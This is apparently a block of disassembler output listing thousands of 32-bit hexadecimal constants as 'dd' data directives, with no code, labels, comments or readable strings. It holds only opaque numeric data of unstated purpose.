		dd 165CDDB8h, 0BB215DF5h, 0F707E642h, 0E6747DD9h, 0C8B89882h
		dd 30C8D57Fh, 58092DE8h, 847E970Fh, 29ABFCBCh, 6ACDF02Eh
		dd 0FDA58BDDh, 660CD18Ch, 7B801ECh, 45651627h, 0DC7D0C14h
		dd 0E118C217h, 0C50CF101h, 1E761349h, 0ABC4BB71h, 94EF0813h
		dd 7D9B82E2h, 1722D9FDh, 0EFFE5219h, 0CD1D4E3h,	172248D8h
		dd 7F3E7BDh, 0B49D868h,	2F41455Dh, 92D6AB4Ah, 0E9FE49A5h
		dd 7CD67DFAh, 0D4BF57C0h, 47F60C01h, 5504DFF7h,	0F04EE92Fh
		dd 72DC95F8h, 0E9890953h, 7DA7AF8Ah, 0F89F72E0h, 0E3A8A9FEh
		dd 9CD609BFh, 51DB377h,	40469EE9h, 5DBBCAB4h, 47B06C12h
		dd 9A1A953h, 4630B068h,	428E2DBFh, 7620A866h, 3BBE0E7Eh
		dd 77EF1Dh, 0B79EBA9Dh,	2931E987h, 5BDE5179h, 8C6EBD3Fh
		dd 80274257h, 4616FEBBh, 9D092F25h, 6E818051h, 464DD0Dh
		dd 0CE6D95B9h, 0C9218017h, 38FB761Bh, 8C12824h,	3364D7FAh
		dd 7E80EED5h, 0A0215C64h, 81D50C8Ch, 80783949h,	6B0942AAh
		dd 0B0F092E9h, 37BB4FCEh, 0AEDFD2DFh, 2D48657Fh, 0C84CA7FCh
		dd 377F1268h, 31040B15h, 0E9518568h, 95477430h,	0BEB041F6h
		dd 1F6E262Ah, 0B213D253h, 776093E0h, 48ADDBE9h,	0C9B293FEh
		dd 0EEB25200h, 3AF8702Ch, 0A14C04D0h, 5A809410h, 63835BF0h
		dd 50B62DEFh, 0CCE1CEE9h, 51120FEEh, 81EBF188h,	28C0E5C9h
		dd 0B71EC4AEh, 0ECCB0113h, 0EC7F7C2Ch, 0F892CF61h, 0F92011B8h
		dd 751A9DDAh, 0D9599A06h, 0F81ED890h, 0D4C9D573h, 63FEFEE3h
		dd 4D7EEC4Eh, 5A95505Dh, 0D8F7EBC1h, 0DC7864E9h, 0B02592Ch
		dd 0B690F10Ah, 0ABA41631h, 105049FCh, 0D94005B6h, 8828012Ch
		dd 0B35358C5h, 8DDCC17Eh, 42E2DE64h, 2928D4C1h,	0A53F416h
		dd 8C708CEh, 290BDD15h,	40F70938h, 67C380CCh, 6620067Ch
		dd 0E02A2AEBh, 0C51DCBC7h, 9DE1506h, 0A42D22E6h, 98FA5FF5h
		dd 0A9404585h, 511C00B3h, 2FB0E1B5h, 280B6C2Ch,	70DDE9E8h
		dd 9EFF9792h, 84E918CBh, 0BE5E24BCh, 82B4409h, 27585CFBh
		dd 2B400EE2h, 0F20F0B65h, 0D2E7E92Ah, 936535BBh, 6940476Eh
		dd 3CFA96CDh, 275D493Eh, 0CEBC088Ch, 690D65ADh,	0EC838CF7h
		dd 0CB6FEA81h, 6E4545AAh, 77705F87h, 0C2E3C1BFh, 39703A65h
		dd 58014063h, 85E7801Ch, 5112C7C0h, 3EC04BB1h, 1E7302E1h
		dd 0FC1FEEAh, 0C31C03E9h, 59CF3088h, 5005340Fh,	0E4007FB4h
		dd 0E9D4F651h, 7F38ED89h, 0A439BAA4h, 4185EC74h, 93E7475Fh
		dd 3358C831h, 0B5BF2283h, 0FC95F9D0h, 0E5E1B46h, 1554C39Ch
		dd 8EB1F28h, 8552D19Eh,	89FC6F5Ah, 1B89BE38h, 0C9E22BA1h
		dd 0BD1444FDh, 2505272h, 0CBB0EF9Eh, 73EBF84Bh,	634A5F04h
		dd 0AC4F04ECh, 0F49FC2C8h, 765F5FEh, 0C95BD98Bh, 3B1745F8h
		dd 64024380h, 0C12E2394h, 0CF014CEFh, 58077CACh, 29C3C282h
		dd 60F5AE3Dh, 80646D37h, 0D5EED128h, 68049FB6h,	971E636Fh
		dd 287B925h, 0A02841F3h, 0BC22F72Bh, 0E9184B6Ch, 0E12AB795h
		dd 0E6ED08DFh, 8554530Bh, 50B2762Ch, 0C41D9585h, 0BCEDAF0Bh
		dd 51019ED0h, 0E925084Ah, 71D4DE10h, 9CD6ECE9h,	0B495A50Fh
		dd 0ACAE985h, 1DD2089h,	12D24F60h, 0E6AD472h, 868BBF2Ch
		dd 6A8420Eh, 4FA12C0Eh,	0FAA6258Dh, 744867EBh, 590B1228h
		dd 0E1355C08h, 2E2057F7h, 0B26F9AD3h, 4FFA5C08h, 0A995F7CCh
		dd 9D55F340h, 55FA2E54h, 0E9C13559h, 522A501Dh,	57B1EB51h
		dd 5C0E2230h, 0C4B4CFB9h
		dd 0E90B640Ah, 0EB21956h, 0E53EEF1Dh, 2C46ED21h, 2BAB4F2Ch
		dd 29EA4AD9h, 68188750h, 82DB2CBFh, 8BAB2552h, 0A0DD94EEh
		dd 0B7387223h, 3059CEB1h, 27136076h, 0DF04169Eh, 0C740E599h
		dd 38233AFAh, 0AA05F9Fh, 9902DA9Eh, 0D20DFA97h,	44B0FB08h
		dd 0F1B83950h, 95FA682h, 0C24258C7h, 5B5836A9h,	0C208A2BCh
		dd 0BA520048h, 39A64B9Dh, 67F8314Fh, 15F160E7h,	1F0D5568h
		dd 3A752CE9h, 82A95730h, 100B7FFBh, 593548DDh, 1AC2F19h
		dd 0E94D90FFh, 0E76B9D7Bh, 0D8410EDEh, 4BEFAC2Bh, 0CD4A6BEDh
		dd 0D21960E6h, 0C1AA8483h, 9A30F699h, 555EFB37h, 57270572h
		dd 0A8D24642h, 95CA683Eh, 2ACF451h, 9BAC070Bh, 0C280C19Ch
		dd 0D6442875h, 7C5EA8ABh, 2811F130h, 693A9EBBh,	455544E1h
		dd 257E2D1Ch, 25773C05h, 4C1BAC01h, 0C0204DA0h,	652816A6h
		dd 0F784EB19h, 0F75A0801h, 248049D9h, 0ECFFC568h, 8298CA09h
		dd 4F8AF540h, 8D71E504h, 0A7D8A6B6h, 9BA414D9h,	5F3F0166h
		dd 38935FBh, 0A493FB40h, 4B08CDBEh, 9E522EC3h, 4E556201h
		dd 0E6F84634h, 61303CC7h, 470A5D5Ch, 0B8E4010h,	0FFF46978h
		dd 0CA0DEC5h, 4F1460E8h, 1147D850h, 0DFBF8D00h,	37ACE145h
		dd 7329001Bh, 0B02FC089h, 0CDA1179Fh, 0B51D7EF1h, 0BF0C64D0h
		dd 570A18E4h, 0D6B70F00h, 80198B5Eh, 0E08F60EAh, 234B7A34h
		dd 49BE660Ch, 91F14E0h,	0F55DA44Ah, 4C7A0200h, 53EE7818h
		dd 13098490h, 310976h, 890F01B5h, 82ABD903h, 76C440C7h
		dd 1D1EBB7Bh, 92B3CE80h, 0E8131872h, 9F382F0Bh,	1C502F58h
		dd 3380FF40h, 8B605C19h, 1893A1CAh, 250A0C4h, 0F4F5E61h
		dd 76489F85h, 5A00D68Bh, 0E0A5D3DAh, 0FCC4F435h, 8ABB1D27h
		dd 0A080BBADh, 0C5DE33ECh, 0A47CD193h, 0DA83D900h, 0DCCFE1A2h
		dd 2FC107C8h, 0C2ADF6BBh, 49CF908h, 0E1755501h,	1FB044C6h
		dd 812B189Eh, 3F8C9658h, 8442007h, 62E48E00h, 0AB44EFF0h
		dd 0AEFB0627h, 2956952Ch, 59111B42h, 8B72165h, 2F9054A2h
		dd 48670584h, 52E94243h, 0D000512Fh, 0AF197291h, 5E904E76h
		dd 0EF00BD7Bh, 59B36596h, 9B2ECh, 60D8DB12h, 0B425E383h
		dd 0C8B8AC00h, 22DE827Eh, 0CA66081h, 0D4B5A7D0h, 0E4096600h
		dd 0AFAC23D8h, 28AD1EBEh, 0FEFDC0F1h, 1AF8A2A3h, 1FE17101h
		dd 99DF2632h, 3FE4CCh, 8A1772D6h, 759A9185h, 0CE00FA78h
		dd 0E407F803h, 24F437h,	0F69F6B6Eh, 0B7C86941h,	3C905F00h
		dd 9B182CA0h, 7BE6715Ah, 64D139CEh, 8BFE9100h, 3710C4F7h
		dd 65F2CC00h, 0D555DBDFh, 9F2E01D8h, 0BA8405FDh, 9633DC87h
		dd 0EC435100h, 5CB05DCDh, 6FEAC0h, 973BF464h, 62C87C45h
		dd 0B179C500h, 5D03FD02h, 221D1FAEh, 2868C0FAh,	8D9D6B6Ch
		dd 8A486673h, 4AD00000h, 0EDE63F25h, 77DBF279h,	457398h
		dd 2C0164D8h, 5E4A36ACh, 7F377E00h, 4843DECDh, 3915009Ah
		dd 42DDC286h, 1300984Ch, 0A87FE24Fh, 30B3F864h,	0EEF074A3h
		dd 1503B57Ah, 0BA5FF291h, 0B0F78828h, 0C1F2FCh,	3E780926h
		dd 207DA39h, 8C08E404h,	0CF80A412h, 0C2C08Fh, 0F6AF0EB3h
		dd 0F92689B7h, 11A6ED00h, 0E6732C2Eh, 3D2818F1h, 217C69E0h
		dd 356C300h, 0EA04558Ch, 3F59125Bh, 0FB7800A7h,	44E11AC9h
		dd 8FE66E00h, 0F710C5F1h, 0EB1D004Eh, 11DAF4B2h, 0B00090FAh
		dd 6D1B0B18h, 0E240E5DCh, 160A0117h, 46FFC96Ah,	9D9FD05Ah
		dd 289065FEh, 95DBC000h, 348D14E3h, 0BEFA0083h,	0C43B9E4Bh
		dd 891EC369h, 9D4046D7h, 5B291941h, 0DAF20063h,	34CB5C4Fh
		dd 4607D51Fh, 1E4973A8h, 903E2E00h, 264C00E3h, 0EA928039h
		dd 9614885Eh, 0F44705h,	9C362E35h, 8DAE4Fh, 97ADC73Dh
		dd 0C4FBB67Eh, 5D0032E0h, 399370CCh, 12347459h,	40F62E9Eh
		dd 0FDCAA6FCh, 0DD005848h, 3B77CE9Fh, 7784BF67h, 0C52F007Ch
		dd 54FB8113h, 531CFC3Eh, 5580D9ECh, 0B7145D46h,	0A3B097h
		dd 807EB016h, 188C13DCh, 0ABD97000h, 893DC81Bh,	0C27703DBh
		dd 0B0F5F6B7h, 51F041E0h, 87AA1E00h, 9955BAFEh,	0DF6F00E3h
		dd 0B1175885h, 0FA0148FCh, 51309A96h, 5430F329h, 0E0E6FB2Ah
		dd 215A83h, 0C1681EE7h,	0CC1419A3h, 910C7874h, 99F30181h
		dd 0E74800F8h, 9C63F5Eh, 0B048158Ah, 392703ECh,	0F402FE4Fh
		dd 77DCCC80h, 158400E9h, 6106D282h, 0BA003FDFh,	0BE3A0E31h
		dd 0DCED5Bh, 3CCDA812h,	0D8080563h, 0A3E73803h,	0C84B79D6h
		dd 1E900CA2h, 0BBB33CECh, 0F25F4980h, 9C69B538h, 1847E800h
		dd 94A6190Fh, 445B01D1h, 0DD9BC290h, 10C44088h,	7F13E50Bh
		dd 5B022DA6h, 80FF591Bh, 0C1A31988h, 0F6E26Ch, 0F7BE1E8Ah
		dd 829F0DBFh, 565A0800h, 9E02C6F9h, 580C0081h, 0BF220F54h
		dd 0C0906667h, 26346310h, 11008C94h, 9C899E24h,	0F7001E7Eh
		dd 0D92CBC84h, 0BF191Ah, 7841C1A6h, 0DFFA708Ch,	0EDF3E606h
		dd 4810CA1Fh, 0AA00001Ah, 0A6943021h, 9001E624h, 0FCBD8B71h
		dd 2C20AF0Dh, 64F8919Ah, 0B0E680A7h, 4377117Bh,	0FB0B4100h
		dd 0E6EB8078h, 5CB81Dh,	3D8F5F6Ch, 992BB5E8h, 921C2A00h
		dd 47D2A9A5h, 83E90F27h, 71A0902Fh, 8E321E45h, 28E17300h
		dd 342767BAh, 0A8FA4855h, 61D38500h, 339E65AAh,	0EC73FC00h
		dd 5FC67CF7h, 0D630074Dh, 0CFA763CEh, 909C8D20h, 1100CAFFh
		dd 0A921BCA8h, 7DE26AFBh, 23BF3027h, 0F7700FE8h, 0CC594490h
		dd 0CFD98018h, 0E41446h, 390CA957h, 38E5FD7Eh, 99E20400h
		dd 7C2AB56Dh, 3A7100CBh, 0D17552FCh, 542C9D06h,	410004C0h
		dd 0B1C670D7h, 0CB9E5C59h, 0C73AB63Bh, 9C774D80h, 0C4F03AF6h
		dd 74F97300h, 0C3BC9BFEh, 0A715002Dh, 0CCF5055Eh, 6900CF1Ah
		dd 0FFC596F7h, 1CF0BDh,	0CAEC97BCh, 169CA3DDh, 70B7DE30h
		dd 0FF05DCBh, 4C0B3464h, 0D72401D7h, 81D09B35h,	1C29D431h
		dd 3BE11B64h, 19C8CF0h,	5D854D0Dh, 47F5128Ah, 49FF2084h
		dd 0D200CE43h, 0F1EFA468h, 89850Bh, 0F06D5311h,	0CF860AB8h
		dd 377BB612h, 0C02D600h, 765691Ah, 39A2DE3Ah, 13630074h
		dd 0F80043BEh, 0FF15820Dh, 12AE44h, 7ED2E63Eh, 93E360B1h
		dd 5B03EC92h, 0FD51E0A2h, 0D4A1C85Eh, 0C82500B6h, 854F466Ah
		dd 5F002B13h, 0D94AB121h, 0CB5EAEh, 95AA14D6h, 0E35CB478h
		dd 0BF018A3Ah, 0DAE90329h, 9890518Eh, 0B12A27Bh, 0AA8B84B5h
		dd 0A4221C01h, 6C72A831h, 36DD171Ch, 820A6080h,	2DE11D6Ah
		dd 0F0FEC33Ch, 0D840BE13h, 0CAC7CC6h, 31EF0097h, 0F4B4D0B0h
		dd 0EA7F9E6Ah, 0AAD24D00h, 89F23CFEh, 1C6258E0h, 0F877EC00h
		dd 0A0165AE3h, 57369D00h, 0B2C88C59h, 144300E0h, 0C974CBD4h
		dd 24B08839h, 54DB3500h, 26E4B0FEh, 598F09Bh, 7EF47F23h
		dd 6A940FBEh, 3E3C65E3h, 74528CE0h, 0F807D000h,	90D176EFh
		dd 43B75D7h, 63EE9196h,	539C807Ch, 6500A91Fh, 2FFA56BCh
		dd 0C16D1EEAh, 2A04B270h, 5820600Ch, 0EB805720h, 0F8CD4FC8h
		dd 3040C0C5h, 508F25F7h, 7F029003h, 0F0D01A9Eh,	547852FAh
		dd 7BCE2h, 95FEBE7Ch, 184472CEh, 14896200h, 2C06F319h
		dd 1CB028F4h, 0CD20009Dh, 96512D04h, 0E300D37Bh, 8E3C743Dh
		dd 64E2B4h, 0AD8832A6h,	23E65C1Ch, 0DCAFEE13h, 0A18B340Fh
		dd 127ACB79h, 360E2FCh,	6E59E716h, 0ED807BDFh, 62009DA3h
		dd 5066E9BAh, 0E88527A2h, 0B1D5004Fh, 0E05CEC19h, 0CB3D82C3h
		dd 5E2E12C4h, 22BBDC04h, 0F8472580h, 0EA1800AFh, 79CCB688h
		dd 1201C99Bh, 7313B708h
		dd 83F8559Eh, 8A3C00F2h, 1CD52F8Dh, 6B01EB68h, 6E1EB208h
		dd 79EC4EE1h, 5F2D9h, 0C91AC2FFh, 0F73956D0h, 74555Ch
		dd 22C89D41h, 90F4AD7Fh, 3B6900BCh, 960A06B5h, 0AC00E7D4h
		dd 14497735h, 0E12FDCh,	4A7634ADh, 3B7F3A5Ah, 69FC500h
		dd 79651E70h, 9EC21E36h, 6F14000Dh, 0E44FAA07h,	0F6F30E40h
		dd 5DF9059Ah, 0C1378F62h, 0F5177702h, 3BDD095h,	0B0245500h
		dd 68AB287Fh, 0F8AC2819h, 0FA2200ABh, 0E21FC62Ah, 0B004746Ch
		dd 0EC98570Bh, 0B4556DC0h, 749067h, 0E3877EB8h,	96933E4Fh
		dd 34134C00h, 5676AF10h, 8F530224h, 854178A0h, 8E843040h
		dd 0DA0B7A00h, 9F443C99h, 4894D4h, 904D37ADh, 0F61F6BDFh
		dd 4BC9C992h, 841B8099h, 46D9C6h, 3D119E4Ah, 8CD7C480h
		dd 0EC33A60Bh, 0FF8C006Bh, 0B0AAB9h, 3A90B4AEh,	0FE9C3B8Dh
		dd 4FF07A00h, 0E206A240h, 30BB0074h, 0FC13C4F3h, 380CB05Ah
		dd 0D1C68D8Eh, 7ECC00FEh, 0D07DEEC0h, 0D101E63Fh, 5F96544Dh
		dd 3EC440CFh, 0EA6500D4h, 0AF52E068h, 6A0015F6h, 978995C7h
		dd 902836D8h, 0D20E3CAAh, 1EC401A8h, 6EE08Ch, 4EDD681Ah
		dd 0CC0041DCh, 7A3BA8D9h, 1FD50F1Eh, 41954705h,	1D0B3D09h
		dd 738209Ah, 19986867h,	3D715B86h, 0FA50D040h, 49590276h
		dd 0F0C20E13h, 959298E0h, 46EE4F00h, 0E64CC357h, 0DDAB1DB8h
		dd 0F9E1C020h, 0BD73DEB3h, 2DCC1500h, 93858F0Fh, 0BCFD00EEh
		dd 0BF6CC747h, 0E500BA3Eh, 88C0F40Eh, 0D33920h,	0F2EA72C6h
		dd 1FD88C30h, 0FEAE3300h, 35B27A91h, 17B600EDh,	2EA0818Dh
		dd 0DFA098B9h, 330CE71h, 0F437C05Ah, 3CE51C2Ah,	4A085C29h
		dd 40F0435Bh, 0E723D983h, 0CC37D30Eh, 8550E0B0h, 2A70486h
		dd 6F5C1A29h, 75419Ah, 0D303E70Dh, 78C3013Dh, 7CBD9582h
		dd 0B7F4E8D1h, 0EA5E1700h, 8C285576h, 10A1007Eh, 298D73BBh
		dd 6F051DD3h, 0BDFD3FDAh, 91DCC7C0h, 0AE6D50CFh, 0BC250B59h
		dd 2F80C46Bh, 41D17982h, 0E47A38h, 8362CC68h, 0F84EE7h
		dd 2BC1BA81h, 42C615CDh, 36DFA400h, 1788CF8Ah, 28000FAh
		dd 0E4AB7411h, 0A0001445h, 0BA0C4B6Ah, 0AEE21Dh, 0EC77D857h
		dd 29548D82h, 0F4D98B00h, 26E32B48h, 168800E9h,	0ACB4FDD2h
		dd 0F9004A72h, 148C5217h, 31B36Ch, 5D9F3355h, 0AB78E565h
		dd 32188800h, 0A12198A7h, 9E4424D9h, 48C20038h,	94A0316Fh
		dd 0D51B871Eh, 0C1774F80h, 0E8BDF156h, 0CED0039Fh, 0B6555053h
		dd 4A0548BEh, 648228E7h, 2FADD580h, 377613B4h, 9A30C087h
		dd 0E60572D8h, 7EB778F8h, 944D04C0h, 4E75EAh, 2EFC5260h
		dd 0C34BA0F1h, 0F86E6200h, 48BBFD32h, 536D09C2h, 0D90039F5h
		dd 2BC8CC5Eh, 84DD3426h, 81F29F07h, 3CA67A83h, 3601BA11h
		dd 472C159Eh, 980BE03h,	60A10D87h, 0EE02678h, 0D0249AE4h
		dd 618C8E80h, 3A3EEFF0h, 0B0773BC0h, 9C37B988h,	68100CAh
		dd 0CFCF243h, 3E38A70Eh, 3A9E18C9h, 1424A140h, 303186ABh
		dd 3C4B2C14h, 3FC8FC41h, 3508CB9Ch, 462CEE82h, 32344CA4h
		dd 0DF4400F8h, 0AE00FB50h, 0E62C629Ch, 597C356h, 55354212h
		dd 504B800Eh, 5008C96h,	0B6A4AE32h, 9E94F98h, 0E59AD559h
		dd 0E013E001h, 0E780D0FDh, 432C1707h, 14B0FFDAh, 0ABAFD7h
		dd 0C195CED9h, 7EBEF9E4h, 80DF5C3Ch, 0A930BFEBh, 2E8CF3FFh
		dd 2BCB558h, 0EA732FA8h, 208E0DE0h, 0D117D200h,	34BCE6C0h
		dd 0F1D000C1h, 2192FDE1h, 8F072C0Ah, 0B2C755B5h, 7BF7CD80h
		dd 1C80080h, 0F28A2D3Ch, 200504Ch, 2F04E9D6h, 0BB2B6E7h
		dd 843F8E76h, 22994840h, 1E20414Ch, 0E8058C90h,	0CC458921h
		dd 68A0AAACh, 42DE8BEh,	20E9F8C2h, 7435E8Ch, 7D944B3h
		dd 0C5C90311h, 191FF4BEh, 9B60E638h, 8849C1E3h,	0F5F291B8h
		dd 8F8181EEh, 0E53FC99Dh, 0EF791180h, 0A57219D8h, 8DBF980h
		dd 0A30FC2C3h, 739B804Fh, 0F3E1BCh, 30CFDEFh, 913437D5h
		dd 82AD8C0Bh, 19B8992h,	4A629687h, 0C4B65BE4h, 8845AA10h
		dd 0B1006B3Ch, 9C3401C3h, 8781B2h, 0C824F69Dh, 82F5F2E4h
		dd 0A07B7218h, 0F206A38h, 0A4C3CF7Ch, 836F5787h, 1000E265h
		dd 0C99AE9AEh, 3DA5ACD1h, 0F6B3C6E4h, 0F2E1F9D6h, 0F0A0F5CCh
		dd 9D6308C7h, 0E0F1A829h, 3ADB3C5h, 386D470Eh, 5006E025h
		dd 87574A06h, 0D0F90178h, 0D43B858Ch, 0ADF081D3h, 0F2A6EE17h
		dd 0BE3E3889h, 92400A0h, 0E4A0CC46h, 95245B9Bh,	0AE02B857h
		dd 829EACB7h, 20C68EF4h, 0D433B685h, 868820A7h,	70A2C354h
		dd 8801EBB2h, 8080BA1Bh, 19F1106Fh, 0AC2AA4C2h,	1F90FC15h
		dd 0AAE9900h, 85FAD50Bh, 0DCA30317h, 9CD343B6h,	0EB03CB97h
		dd 5028E16Ah, 3825DCC5h, 878803Fh, 3A46C8D9h, 0E7866FAAh
		dd 8E17604h, 0B221DE60h, 0CB46F0h, 0FCED3B32h, 1E593A8Ah
		dd 6DA2A1C0h, 28720F5Ch, 4CA49963h, 0A9870011h,	103AA012h
		dd 0E912D739h, 8408422h, 0A1D2C30Eh, 4F4D4C29h,	60077A78h
		dd 5BEE39B2h, 0D000FAF7h, 3A32BC96h, 3A196037h,	1758EB28h
		dd 6F4DE00Ch, 0AF026CA9h, 0FC5A063Ch, 0AEDC808Fh, 0D4E85E59h
		dd 2A7CA8A0h, 0F69804ABh, 3D62099Fh, 440EAA9Eh,	10484C32h
		dd 0A73EC721h, 0CE5F0562h, 0D9006A93h, 5E82713Fh, 0E8E0C295h
		dd 64818A25h, 82A2FB72h, 83546C18h, 39B08457h, 0A946CF60h
		dd 11D16F23h, 0F7B300DCh, 90D7FE46h, 0ACA60060h, 380C8898h
		dd 0F45C8EDFh, 0A123004Ch, 0A677643Dh, 76E7EC6Fh, 396C18A2h
		dd 350E7092h, 2DBC48E5h, 8FDB4A9h, 0E11660ABh, 0FC745CDEh
		dd 9D007DB8h, 0B566500Ch, 2680C7C0h, 0D203F1h, 39A2843Ah
		dd 9E544B87h, 0EF602090h, 0BE326EB1h, 0BCA3D58h, 3A5FC400h
		dd 0CD9EAEBAh, 691CAB30h, 0F982D31h, 9D60C79Fh,	35F13F20h
		dd 0DCBC84F3h, 42869C9Fh, 308C3E6Dh, 9AC88F04h,	0A8A3B76Fh
		dd 7446A2C2h, 6B8AC103h, 0B025CC42h, 0D2A7B8h, 0B57DFD05h
		dd 62976728h, 0E2B9C50Eh, 0D65C20DDh, 58EA4DB8h, 0ED04A887h
		dd 0C1FE122Eh, 0EE45A0A4h, 35A9E320h, 8B0C28CEh, 98045494h
		dd 0CA21C0FFh, 65E235D1h, 0AA439200h, 0F6A5CDC2h, 579B24D4h
		dd 86A8078h, 0A4C16041h, 0E19AF218h, 0A8B30EE1h, 0FAE0C8h
		dd 7E846542h, 703A392Eh, 8500C7E4h, 0EE82CACDh,	17A60CD1h
		dd 0F19E381Ch, 8BF0F97Ch, 910C649h, 0C588106Ah,	4012638h
		dd 0E04C3D04h, 0E048E358h, 0F5ABE16h, 25E0C7C9h, 17ACDEBFh
		dd 2347A0A8h, 282C2A00h, 123E2742h, 0B0AF012Dh,	0A7A1876Eh
		dd 9F2C24D7h, 0E8DC4312h, 4124A401h, 3009D5A6h,	0E31D808h
		dd 3B8DD9A2h, 0E422B471h, 0B6092C33h, 33ED2100h, 4DEF4E44h
		dd 3D913D05h, 2C25E780h, 2A06E488h, 22FBA326h, 0A446CC20h
		dd 0CA350872h, 0F8C4AB0Ch, 35D5C640h, 6DFC51B3h, 72EAA00h
		dd 0BDB53A93h, 70BA0CF5h, 0A0B8C832h, 808AF23Bh, 5BCD9633h
		dd 3F6812E0h, 5E804F03h, 0C797DB55h, 2CE8410Eh,	31E4D830h
		dd 286F90F3h, 45F01BC0h, 27F8414Ah, 106E00A0h, 0CCE35041h
		dd 5488C076h, 3A9F4834h, 65C2121Fh, 0ECF27004h,	0BE260900h
		dd 0C8A9070Bh, 15F060C8h, 5C860640h, 5865F59Bh,	4A388099h
		dd 10CCBF47h, 259A0A1h,	1823F597h, 0B0A0A768h, 0DBDA4082h
		dd 10AC60DEh, 2E908h, 0F038A133h, 80909EBBh, 328FB081h
		dd 30E2F2FCh, 3A0AAB85h, 0A8CE9A41h, 9103B096h,	0BA0F67h
		dd 51182689h, 4C773512h, 580BB10Ah, 0E7008A14h,	227E80CEh
		dd 48407F18h, 4A82F42Eh
		dd 0C0139AFBh, 0B387E392h, 89B520h, 0A6D79798h,	0E07F5DF3h
		dd 19CAAA02h, 5205BEC6h, 3CA20E3Ch, 9EC4AECCh, 8044943Ah
		dd 2CB44F64h, 18DA652Ch, 29F3A940h, 0E773A48h, 3A90F786h
		dd 0F50938B3h, 19179A0Ch, 3410B5ECh, 0CB1DBE72h, 0A9FAD733h
		dd 8837E40Ch, 0DC943BC4h, 30A3B409h, 1135AA64h,	88B30CCFh
		dd 0C7C99EE0h, 0D0C0D835h, 0B6AB8159h, 0C4A60A9Dh, 28F08C08h
		dd 6D5F04ECh, 0C8F9C510h, 0BC540F04h, 5CE2C094h, 7CF69000h
		dd 0CBE951EDh, 1719026Eh, 9A961B55h, 83EB1468h,	0C1017188h
		dd 0CC6B9DC1h, 8068A0E5h, 40278239h, 8454250Eh,	98D30424h
		dd 440420FCh, 0E310249Bh, 0E020B132h, 0B86D4438h, 0E66E2014h
		dd 2C1E9D00h, 25147A4Dh, 0EDD11D2h, 45D10FA5h, 1CD9484h
		dd 5CC715A0h, 0AC40827Ch, 61087341h, 0EE2A0FBh,	0FACC200Ch
		dd 848E750Ch, 9445765Ch, 0C03F80A4h, 9C012613h,	4CE2100h
		dd 752FD503h, 47F72C7h,	4522235Dh, 1492408Ch, 7D2CFA67h
		dd 0F368124Ch, 8090249Dh, 0F9AE9B28h, 0BC4D102Eh, 8B6A0C82h
		dd 0A654539Fh, 8837085Ch, 847DF809h, 498A648h, 0F43508AFh
		dd 0FEC4DB0Ch, 35D7C440h, 46002523h, 0BB29B2B5h, 4D793A2Dh
		dd 0D81DC0F6h, 0EB0DC06Ch, 0EA5924D2h, 812CC44Ch, 0E9F640A2h
		dd 34022829h, 44EFF214h, 0F10054E4h, 8BA9DC7Ch,	0AAAC3E0Ch
		dd 66EF03BCh, 0BC4940E4h, 0A62E0004h, 76460F12h, 9C0C2D6Ch
		dd 498B4536h, 1B400019h, 3354D2C1h, 3A4D6124h, 75A90240h
		dd 81E16568h, 0EFB38388h, 0B4C88429h, 5C4A6D1Ch, 9F82B418h
		dd 80D00473h, 686138F0h, 90966042h, 843BCA25h, 10C0C894h
		dd 0A75BF2A9h, 47C70820h, 647118C2h, 0AA9C8098h, 381980D2h
		dd 470FAB06h, 21BD0Eh, 0B8FE607Ch, 75444DF4h, 1C125800h
		dd 3302DA5Dh, 4CD07DFh,	0A252F23Eh, 0F0C40FF7h,	0BB513Dh
		dd 31253C47h, 19F847Ch,	3060384Bh, 209C870Bh, 2D269907h
		dd 660992BAh, 60781Eh, 142671F2h, 8B670C91h, 0F8460400h
		dd 6D22118Fh, 0FAC92420h, 76F080F8h, 0CFAAE249h, 19D51030h
		dd 79A83904h, 3FEEF480h, 0C2223508h, 0AACCF407h, 51C36D8Fh
		dd 413103F6h, 0DD78FE46h, 0E89F30E3h, 739C3903h, 0A400ED80h
		dd 149E8B3Eh, 3930022h,	87865779h, 0BE89AC0Fh, 0BCC8FCCFh
		dd 0BB5B3A77h, 219F0F18h, 41DE036h, 76C23BD6h, 52ACA3E4h
		dd 0D3C0540h, 0C0B8E5E8h, 0FD63439h, 0E1AC6200h, 1C43E0DAh
		dd 4920610Eh, 0C499F659h, 9FF4C066h, 9E467900h,	68C96E17h
		dd 13C8F36Fh, 5B8D004Bh, 52B76402h, 853C7419h, 9307766Ch
		dd 867F676Eh, 0A5570440h, 4868F077h, 4C07209Eh,	4F1E41A1h
		dd 5D1F0CE0h, 38005483h, 31C9B26Dh, 2759859h, 57815F1Eh
		dd 97E05D14h, 85954F15h, 3828C061h, 784E7823h, 184AE95Fh
		dd 5D083E8Ch, 8363067Eh, 0F0967DB0h, 19B7313h, 9F4E38C9h
		dd 0FC723E6Ch, 530F1579h, 5E327883h, 56EF0E03h,	0C039F192h
		dd 7EBF6840h, 68B2F033h, 3C983959h, 0D2C30457h,	1000BAF2h
		dd 988B3AFFh, 0F9B950h,	5713304Eh, 0E1353732h, 88DA8A01h
		dd 0C11F7965h, 0C0E83081h, 81D850F0h, 0C34E5318h, 84064D0h
		dd 0E6E5666h, 0DFD1E2B6h, 10707E05h, 68012CE1h,	53CC412Ah
		dd 830C58B9h, 0C30C88D1h, 0E0522419h, 6CE2B323h, 60A05964h
		dd 30FAD844h, 0BE412D3Ah, 0E8CC6651h, 0C2874049h, 0FBCD8419h
		dd 53BE78A1h, 0A7584263h, 0EBFF91Dh, 7E8792FCh,	4DB00EE3h
		dd 4A0756AAh, 7FC07E1Eh, 0CC907C84h, 608522FDh,	8CE32825h
		dd 6374393Ch, 0C02E528h, 24386E3Fh, 379CE4B4h, 8BCCFDh
		dd 71A44C65h, 18A5CCE5h, 1953293Ch, 7BF079C9h, 0FB00FC92h
		dd 51A41EA6h, 71FCE432h, 0FF6406B2h, 191F86E3h,	34AA6750h
		dd 0B4988AE9h, 3F0158CAh, 0BCFE6223h, 0C88644Eh, 0E561A583h
		dd 8C50C54Eh, 20B721D0h, 0D8FE22B8h, 0B0CA8630h, 54F3C8EEh
		dd 2956C458h, 94F8B662h, 1E13E070h, 355C08C0h, 60480449h
		dd 639A4058h, 0AB29C1C2h, 7A8C9941h, 2EE46A14h,	3909748Dh
		dd 217C93E1h, 90326898h, 6D5810A6h, 6F4068C3h, 1D4284BFh
		dd 8899F9BCh, 53E08937h, 0F0640F67h, 0B70A6882h, 0E542402Ch
		dd 0CD02E050h, 910C912Fh, 8D8042B5h, 0C18995Ch,	8C4B50D2h
		dd 6A231661h, 14047FFEh, 0CC883563h, 4884E079h,	0AB21B0C9h
